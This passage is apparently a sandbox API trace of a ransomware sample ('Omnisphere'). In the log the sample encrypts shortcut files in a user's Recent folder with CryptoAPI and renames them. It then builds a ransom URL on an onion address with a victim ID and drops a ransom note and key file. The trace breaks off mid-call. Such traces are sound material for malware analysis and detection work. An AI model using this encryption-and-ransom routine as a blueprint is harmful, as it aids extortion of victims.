[0126.399] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.399] GetProcessHeap () returned 0x1600000 [0126.399] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16bf0d8 | out: hHeap=0x1600000) returned 1 [0126.399] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f9718fe, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f9718fe, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1f9718fe, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0xd3, cFileName="kEt_fovMnz89GacnJ.lnk", cAlternateFileName="KET_FO~1.LNK")) returned 1 [0126.399] GetProcessHeap () returned 0x1600000 [0126.399] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x16bf0d8 [0126.399] PathCombineW (in: pszDest=0x16bf0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="kEt_fovMnz89GacnJ.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kEt_fovMnz89GacnJ.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kEt_fovMnz89GacnJ.lnk" [0126.399] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.399] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kEt_fovMnz89GacnJ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ket_fovmnz89gacnj.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.399] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=683) returned 1 [0126.399] GetTickCount () returned 0x115f8b4 [0126.399] GetTickCount () returned 0x115f8b4 [0126.399] GetTickCount () returned 0x115f8b4 [0126.399] GetTickCount () returned 0x115f8b4 [0126.399] GetTickCount () returned 0x115f8b4 [0126.399] GetTickCount () returned 0x115f8b4 [0126.399] GetTickCount () returned 0x115f8b4 [0126.399] GetTickCount () returned 0x115f8b4 [0126.399] GetTickCount () returned 0x115f8b4 [0126.399] GetTickCount () returned 0x115f8b4 [0126.399] GetTickCount () returned 0x115f8b4 [0126.399] GetTickCount () returned 0x115f8b4 [0126.399] GetTickCount () returned 0x115f8b4 [0126.399] GetTickCount () returned 0x115f8b4 [0126.399] GetTickCount () returned 0x115f8b4 [0126.400] GetTickCount () returned 0x115f8b4 [0126.400] GetTickCount () returned 0x115f8b4 [0126.400] GetTickCount () returned 0x115f8b4 [0126.400] GetTickCount () returned 0x115f8b4 [0126.400] GetTickCount () returned 0x115f8b4 [0126.400] GetTickCount () returned 0x115f8b4 [0126.400] GetTickCount () returned 0x115f8b4 [0126.400] GetTickCount () returned 0x115f8b4 [0126.400] GetTickCount () returned 0x115f8b4 [0126.400] GetTickCount () returned 0x115f8b4 [0126.400] GetTickCount () returned 0x115f8b4 [0126.400] GetTickCount () returned 0x115f8b4 [0126.400] GetTickCount () returned 0x115f8b4 [0126.400] GetTickCount () returned 0x115f8b4 [0126.400] GetTickCount () returned 0x115f8b4 [0126.400] GetTickCount () returned 0x115f8b4 [0126.400] GetTickCount () returned 0x115f8b4 [0126.400] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0126.401] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0126.401] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.401] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.401] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0126.401] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ab, lpName=0x0) returned 0x288 [0126.401] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ab) returned 0x1480000 [0126.401] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668928) returned 1 [0126.402] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0126.402] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.402] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.402] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.402] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.402] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.402] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.402] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.402] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.402] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.402] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.402] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.402] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.402] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.402] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.402] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.402] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.402] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.402] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.402] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.402] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.402] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.402] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.402] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.403] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.403] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0126.403] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x2ab, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.403] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.404] GetProcessHeap () returned 0x1600000 [0126.404] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2bc) returned 0x16cb9f8 [0126.404] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kEt_fovMnz89GacnJ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ket_fovmnz89gacnj.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kEt_fovMnz89GacnJ.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ket_fovmnz89gacnj.lnk.omnisphere")) returned 1 [0126.404] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kEt_fovMnz89GacnJ.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kEt_fovMnz89GacnJ.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kEt_fovMnz89GacnJ.lnk.omnisphere.id" [0126.404] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kEt_fovMnz89GacnJ.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ket_fovmnz89gacnj.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.405] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.406] CloseHandle (hObject=0x3c0) returned 1 [0126.406] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.406] CloseHandle (hObject=0x288) returned 1 [0126.406] SetEndOfFile (hFile=0x28c) returned 1 [0126.406] FlushFileBuffers (hFile=0x28c) returned 1 [0126.416] CloseHandle (hObject=0x28c) returned 1 [0126.416] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kEt_fovMnz89GacnJ.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.416] GetProcessHeap () returned 0x1600000 [0126.416] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16d8560 [0126.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.416] GetProcessHeap () returned 0x1600000 [0126.416] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5a00 [0126.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5a00, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.416] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.416] GetProcessHeap () returned 0x1600000 [0126.416] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b02e8 [0126.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b02e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.416] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.416] GetProcessHeap () returned 0x1600000 [0126.416] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16c0440 [0126.416] PathCombineW (in: pszDest=0x16c0440, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.416] GetProcessHeap () returned 0x1600000 [0126.416] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16d2090 [0126.417] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.417] WriteFile (in: hFile=0x28c, lpBuffer=0x16d2090*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16d2090*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.417] CloseHandle (hObject=0x28c) returned 1 [0126.417] GetProcessHeap () returned 0x1600000 [0126.417] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16d8560 | out: hHeap=0x1600000) returned 1 [0126.417] GetProcessHeap () returned 0x1600000 [0126.417] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.417] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.417] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.417] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.417] CloseHandle (hObject=0x28c) returned 1 [0126.417] GetProcessHeap () returned 0x1600000 [0126.417] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.418] GetProcessHeap () returned 0x1600000 [0126.418] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16bf0d8 | out: hHeap=0x1600000) returned 1 [0126.418] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22102ecd, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22102ecd, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x22102ecd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x459, dwReserved0=0x0, dwReserved1=0xd3, cFileName="KhOL-vGQRdUn.lnk", cAlternateFileName="KHOL-V~1.LNK")) returned 1 [0126.418] GetProcessHeap () returned 0x1600000 [0126.418] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa2) returned 0x162cec8 [0126.418] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="KhOL-vGQRdUn.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KhOL-vGQRdUn.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KhOL-vGQRdUn.lnk" [0126.418] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.418] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KhOL-vGQRdUn.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\khol-vgqrdun.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.418] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1113) returned 1 [0126.418] GetTickCount () returned 0x115f8c4 [0126.418] GetTickCount () returned 0x115f8c4 [0126.418] GetTickCount () returned 0x115f8c4 [0126.418] GetTickCount () returned 0x115f8c4 [0126.418] GetTickCount () returned 0x115f8c4 [0126.418] GetTickCount () returned 0x115f8c4 [0126.418] GetTickCount () returned 0x115f8c4 [0126.418] GetTickCount () returned 0x115f8c4 [0126.418] GetTickCount () returned 0x115f8c4 [0126.418] GetTickCount () returned 0x115f8c4 [0126.418] GetTickCount () returned 0x115f8c4 [0126.418] GetTickCount () returned 0x115f8c4 [0126.418] GetTickCount () returned 0x115f8c4 [0126.418] GetTickCount () 